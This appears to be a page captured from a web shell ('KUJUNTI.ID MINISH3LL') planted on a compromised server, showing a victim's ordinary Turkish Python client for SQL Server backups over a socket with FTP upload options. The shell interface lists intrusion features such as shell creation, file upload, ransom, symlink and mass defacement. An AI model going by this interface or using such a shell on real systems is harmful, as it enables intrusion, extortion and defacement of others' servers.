\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/windows_sql_agent_package/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/windows_sql_agent_package/sql_socket_client.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SQL Server Socket Agent İstemcisi
---------------------------------
Bu script, Windows SQL Server Socket Agent'a bağlanarak veritabanı yedekleme isteği gönderir.

Kullanım:
python sql_socket_client.py database_name [options]

Örnek:
python sql_socket_client.py Northwind --server=SQLSERVER01 --ftp-host=ftp.example.com --ftp-user=user --ftp-pass=password --ftp-path=/backups
"""
import os
import sys
import time
import json
import socket
import argparse
from datetime import datetime

def send_backup_request(host, port, payload):
    """
    Socket Agent'a yedekleme isteği gönderir
    
    Args:
        host (str): Agent IP adresi
        port (int): Agent port numarası
        payload (dict): İstek verisi
    
    Returns:
        dict: İşlem sonucu
    """
    try:
        # Socket oluştur
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3600)  # 1 saat (büyük veritabanları için)
        
        # Bağlantı kur
        print(f"SQL Backup Agent'a bağlanılıyor: {host}:{port}")
        sock.connect((host, port))
        
        # JSON verisini gönder
        request_data = json.dumps(payload).encode() + b'\n'
        sock.sendall(request_data)
        
        print(f"İstek gönderildi: {payload['database']} veritabanı yedekleme")
        
        # Yanıtı oku
        response_data = b""
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response_data += chunk
            # JSON veri sonunu kontrol et
            if response_data.endswith(b'}\n'):
                break
        
        # Soketi kapat
        sock.close()
        
        # Yanıtı çözümle
        if response_data:
            try:
                result = json.loads(response_data.decode())
                return result
            except json.JSONDecodeError:
                return {
                    'success': False,
                    'message': 'Agent yanıtı geçersiz JSON formatında',
                    'raw_response': response_data.decode()
                }
        else:
            return {
                'success': False,
                'message': 'Agent yanıt vermedi'
            }
    
    except socket.timeout:
        return {
            'success': False,
            'message': 'Bağlantı zaman aşımı'
        }
    except ConnectionRefusedError:
        return {
            'success': False,
            'message': f'Bağlantı reddedildi: {host}:{port} - SQL Backup Agent çalışıyor mu?'
        }
    except Exception as e:
        return {
            'success': False,
            'message': f'Bağlantı hatası: {str(e)}'
        }

def print_result(result):
    """
    İşlem sonucunu ekrana yazdırır
    
    Args:
        result (dict): İşlem sonucu
    """
    print("\n" + "="*50)
    print(" SQL BACKUP SONUCU")
    print("="*50)
    
    if result['success']:
        print(f"✅ BAŞARILI: {result['message']}")
    else:
        print(f"❌ BAŞARISIZ: {result['message']}")
    
    print("\nİşlem Detayları:")
    if 'steps' in result:
        steps = result['steps']
        
        # Yedekleme adımı
        if steps.get('backup',{}).get('success', False):
            print(f"📁 Yedekleme: ✅ {steps['backup'].get('message', '')}")
        else:
            print(f"📁 Yedekleme: ❌ {steps['backup'].get('message', 'Hata')}")
            
        # Sıkıştırma adımı
        if steps.get('compress',{}).get('success', False):
            print(f"🗜️ Sıkıştırma: ✅ {steps['compress'].get('message', '')}")
        else:
            print(f"🗜️ Sıkıştırma: ❌ {steps['compress'].get('message', 'Hata')}")
            
        # FTP adımı
        if steps.get('upload',{}).get('success', False):
            print(f"📤 FTP Yükleme: ✅ {steps['upload'].get('message', '')}")
        else:
            print(f"📤 FTP Yükleme: ❌ {steps['upload'].get('message', 'Hata')}")
    
    # Dosya bilgileri
    if 'backup_file' in result and result['backup_file']:
        print(f"\nYedek Dosyası: {result['backup_file']}")
    
    if 'backup_size' in result and result['backup_size'] > 0:
        backup_size_mb = result['backup_size'] / 1024 / 1024
        print(f"Yedek Boyutu: {backup_size_mb:.2f} MB")
        
    if 'compressed_size' in result and result['compressed_size'] > 0:
        compressed_size_mb = result['compressed_size'] / 1024 / 1024
        print(f"Sıkıştırılmış Boyut: {compressed_size_mb:.2f} MB")
        
        # Sıkıştırma oranı
        if result.get('backup_size', 0) > 0:
            compression_ratio = ((result['backup_size'] - result['compressed_size']) / result['backup_size']) * 100
            print(f"Sıkıştırma Oranı: %{compression_ratio:.2f}")
    
    # Zaman damgası
    if 'timestamp' in result:
        print(f"\nTamamlanma Zamanı: {result['timestamp']}")
    
    print("="*50)

def main():
    parser = argparse.ArgumentParser(description='SQL Server Yedekleme Socket İstemcisi')
    
    # Zorunlu parametre
    parser.add_argument('database', help='Yedeklenecek veritabanı adı')
    
    # İsteğe bağlı parametreler
    parser.add_argument('--server', default='localhost', help='SQL Server adı veya IP adresi')
    parser.add_argument('--agent-host', default='localhost', help='Socket Agent IP adresi')
    parser.add_argument('--agent-port', type=int, default=9090, help='Socket Agent port numarası')
    
    # FTP parametreleri
    parser.add_argument('--ftp-host', help='FTP sunucu adresi')
    parser.add_argument('--ftp-port', type=int, default=21, help='FTP port numarası')
    parser.add_argument('--ftp-user', help='FTP kullanıcı adı')
    parser.add_argument('--ftp-pass', help='FTP şifresi')
    parser.add_argument('--ftp-path', help='FTP uzak dizin yolu')
    
    args = parser.parse_args()
    
    # FTP yapılandırması (tüm FTP ayarları varsa)
    ftp_config = None
    if args.ftp_host:
        ftp_config = {
            'host': args.ftp_host,
            'port': args.ftp_port,
            'username': args.ftp_user,
            'password': args.ftp_pass,
            'path': args.ftp_path
        }
    
    # İstek verisini oluştur
    payload = {
        'database': args.database,
        'server': args.server,
        'timestamp': datetime.now().isoformat()
    }
    
    # FTP yapılandırması varsa ekle
    if ftp_config:
        payload['ftp'] = ftp_config
    
    # İsteği gönder
    result = send_backup_request(args.agent_host, args.agent_port, payload)
    
    # Sonucu yazdır
    print_result(result)
    
    # Çıkış kodu
    return 0 if result.get('success', False) else 1

if __name__ == "__main__":
    sys.exit(main())

© KUJUNTI.ID